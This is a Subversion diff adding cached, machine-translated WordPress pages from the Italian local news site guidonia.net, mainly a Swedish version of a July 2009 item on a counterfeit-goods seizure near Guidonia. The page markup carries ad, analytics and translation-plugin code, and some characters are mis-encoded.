ÐœÐŸÐ²ÑÐ¹ ÑÐµÐœÑÑ</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=ru" >GuidoniaPuntoNet (Ð² Ð¿ÑÐŸÑÐµÑÑÐµ).</a> Ð¡ÑÑÐ»ÐºÐ°: <a href="http://www.guidonia.tv/">Guidonia Ð¢Ð</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">ÐÑÐ±ÐŸÑÑ ÐÐœÐ»Ð°Ð¹Ðœ</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="Ð¡ÑÐ°ÑÐžÑÑÐžÐºÐ° ÑÐ°Ð¹ÑÐ°" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="Ð¡ÑÐ°ÑÐžÑÑÐžÐºÐ° ÑÐ°Ð¹ÑÐ°"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.682 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:37:47 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6288&lang=sv
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6288&lang=sv	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6288&lang=sv	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6288 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> GdF, stora beslag av fÃ¶rfalskade varor fÃ¶r 20 miljoner - Il Sole 24 Ore - GuidoniaPuntoNet (pÃ¥gÃ¥r) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (pÃ¥gÃ¥r) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6288&rurl=translate.google.com&lang=it&usg=ALkJrhgfuYQOyMV8EJrHHf4oVigjnfSU3Q" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="standard" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="grÃ¶n" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="lila" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rÃ¶d" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="blÃ¥" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (pÃ¥gÃ¥r) &quot;gdf, stora beslag av fÃ¶rfalskade varor fÃ¶r 20 miljoner - Il Sole 24 Ore Feed kommentarer" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (pÃ¥gÃ¥r)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia i WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Bygga Blitz pÃ¥ byggplatser: 32 personer greps - Il Giornale" href=http://www.guidonia.net/wp/?p=6287 /><link rel=next title="Guardia di Finanza. Beslagen av kapitalet i 3 miljoner styck ... - VÃ€stra" href=http://www.guidonia.net/wp/?p=6289 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=sv" >GuidoniaPuntoNet (pÃ¥gÃ¥r)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=sv" >Hemma</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=sv" >Om</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=sv" >Kontakter</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="sÃ¶ka" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6288><h2> <span  > <a href="http://www.guidonia.net/wp?p=6288&lang=sv" >GdF, stora beslag av fÃ¶rfalskade varor fÃ¶r 20 miljoner - Il Sole 24 Ore</a></span> </h2><p class=meta-header> <span  > Inkom den 03 juli 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=sv" >Guidonia Nyheter</a> av admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt1.ggpht.com/news/tbn/TeSdlT0cc62eQM/0.jpg alt="" border=1 width=80 height=80 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.leggonline.it/articolo.php?id=22339&usg=AFQjCNHEG9N8i1QJmeqAEyEByrETW-Kv8A"><font style=font-size:85%;font-family:arial,sans-serif>Online</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?DocRulesView=Libero&fd=R&sa=T&url=http://www.ilsole24ore.com/art/SoleOnLine4/Italia/2009/07/gdf-operazione-anti-contraffazione-cinesi.shtml?uuid=ba99858c-67b1-11de-bb24-784de86f3209&usg=AFQjCNE1JGpu-wnJ9FGmix1nbU4GEJc95Q">GdF, stora beslag av fÃ¶rfalskade varor fÃ¶r 20 miljoner</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>Il Sole 24 Ore</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> AnvÃ€ndas fÃ¶r infÃ¶rsel av fÃ¶rfalskningar i Italien, har identifierats 17 lagerlokaler i de omrÃ¥den i Ã¶stra Rom och <b>Guidonia Montecelio. ...</b></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.ilgiornale.it/a.pic1?ID=363649&usg=AFQjCNHRBjcCVrfDM6GZyFiVGJnd6N_9Ww">Counterfeiting, tillbaka 3 miljoner stycken &quot;felaktiga&quot; pÃ¥stÃ¥enden <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>tidningen</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.apcom.net/newscronaca/20090703_075900_10880bf_65395.html&usg=AFQjCNG4dOURDr4FGElpVs3uWSs3tn5a4Q">Rom, maxi-operation mot GDF: 1 gripande</a> <nobr><font size=-1 color=#6f6f6f>APCOM</font></nobr></font></span> <br /> <span  > <font size=-1><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.libero-news.it/adnkronos/view/148279&usg=AFQjCNHvVam7zihY5jX090CDBHQccnTHkg">Rom: GDF KVARSTAD 3 miljoner ex, en gripande och <b>...</b></a> <nobr><font size=-1 color=#6f6f6f>Gratis-News.it</font></nobr></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=do9DR3p8ecvCfYMcwzdWNoypVvRvM"><font class=p size=-1><b>Alla nyheter (12)</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Lov en Svara</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6288#respond style=display:none;&lang=sv" ><small>Klicka hÃ€r fÃ¶r att avbryta svar.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Namn (krÃ€vs)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (kommer inte att publiceras) (krÃ€vs)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Webbsida</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Kommentarer</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Skicka kommentar" class=box /><input type=hidden name=comment_post_ID value=6288 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idÃ©er fÃ¶r webben</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>IdÃ©er fÃ¶r att sÃ¶ka finansiering: <a href=mailto:info@guidonia.net>kontakta oss</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Du kan stanna aÄ¡Ä¡ornata via <a href="http://www.guidonia.net/wp?feed=rss2&lang=sv" >RSS-flÃ¶de.</a></span> </div><div class=col><div class=box><h3> <span  > Videoklipp om Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, annons.</span> <span  > Viale Roma JÃ€rnvÃ€gsstationen och ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Ord och Ljud Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - innebÃ¶rden av allt Ã€r - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6288# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Icke Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Juli: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="mÃ¥ndag"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="tisdag"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Onsdag"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="torsdag"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="fredag"> <span  > V</span> </th><th abbr=sabato scope=col title="LÃ¶rdag"> <span  > S</span> </th><th abbr=domenica scope=col title="sÃ¶ndag"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=sv" >Â«Juni</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=sv" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=sv" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=sv" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÃversÃ€ttare</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6288' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6288&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6288&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6288&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6288&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6288&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6288&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6288&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6288&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6288&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6288&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6288&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6288&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6288&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Prenumerera pÃ¥ innehÃ¥llet"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6288&lang=sv" >Fast Blogg Nyheter</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): vÃ¥ldtÃ€kter, mÃ€tning och &quot;fyller</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - jÃ€rnvÃ€gslinjen av &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: FÃ¶rebyggande och sÃ€kerhet i arbetet</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Kvinna dÃ¶dad av blixten i Lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, hus utan cement. HÃ€r Ã€r bevisen. &quot; Den utsÃ€nda, Enzo Cappucci hade grÃ€vt i spillror i Abruzzo regionen och har funnit bevis fÃ¶r lÃ€tthet, brist pÃ¥ kontroll, de kriminella slarv som mÃ¥nga hus byggdes. The ... Tags: Enzo mÃ¶ssor Abruzzo RaiNews24 RAI roma en [...]"">Rai pÃ¥ cement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, hus utan cement. HÃ€r Ã€r bevisen&#39;&#39;. De skickas av Rainews24, Enzo Cappucci hade grÃ€vt i spillror i Abruzzo regionen och har funnit bevis fÃ¶r lÃ€tthet, brist pÃ¥ kontroll, de kriminella slarv som mÃ¥nga hus var ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, hus utan cement&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">BevÃ€pnad med antika pistol rÃ¥nade pÃ¥ hotellet</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Senast den 23 juli prenumerationer pÃ¥ regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Hanteringen av postoperativ smÃ€rta vinner &quot;och rock &#39;stretch&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Kvinnor och demokrati.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">RÃ€dsla, lÃ¶gner och &quot;myt&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Kvinnor och demokrati.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">RÃ€dsla, lÃ¶gner och &quot;myt&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers premiÃ€r pÃ¥ torsdag den 25 juni Ã€r det bio</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Val och Guidonia KÃ€lla Ny pÃ¥ mitten</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
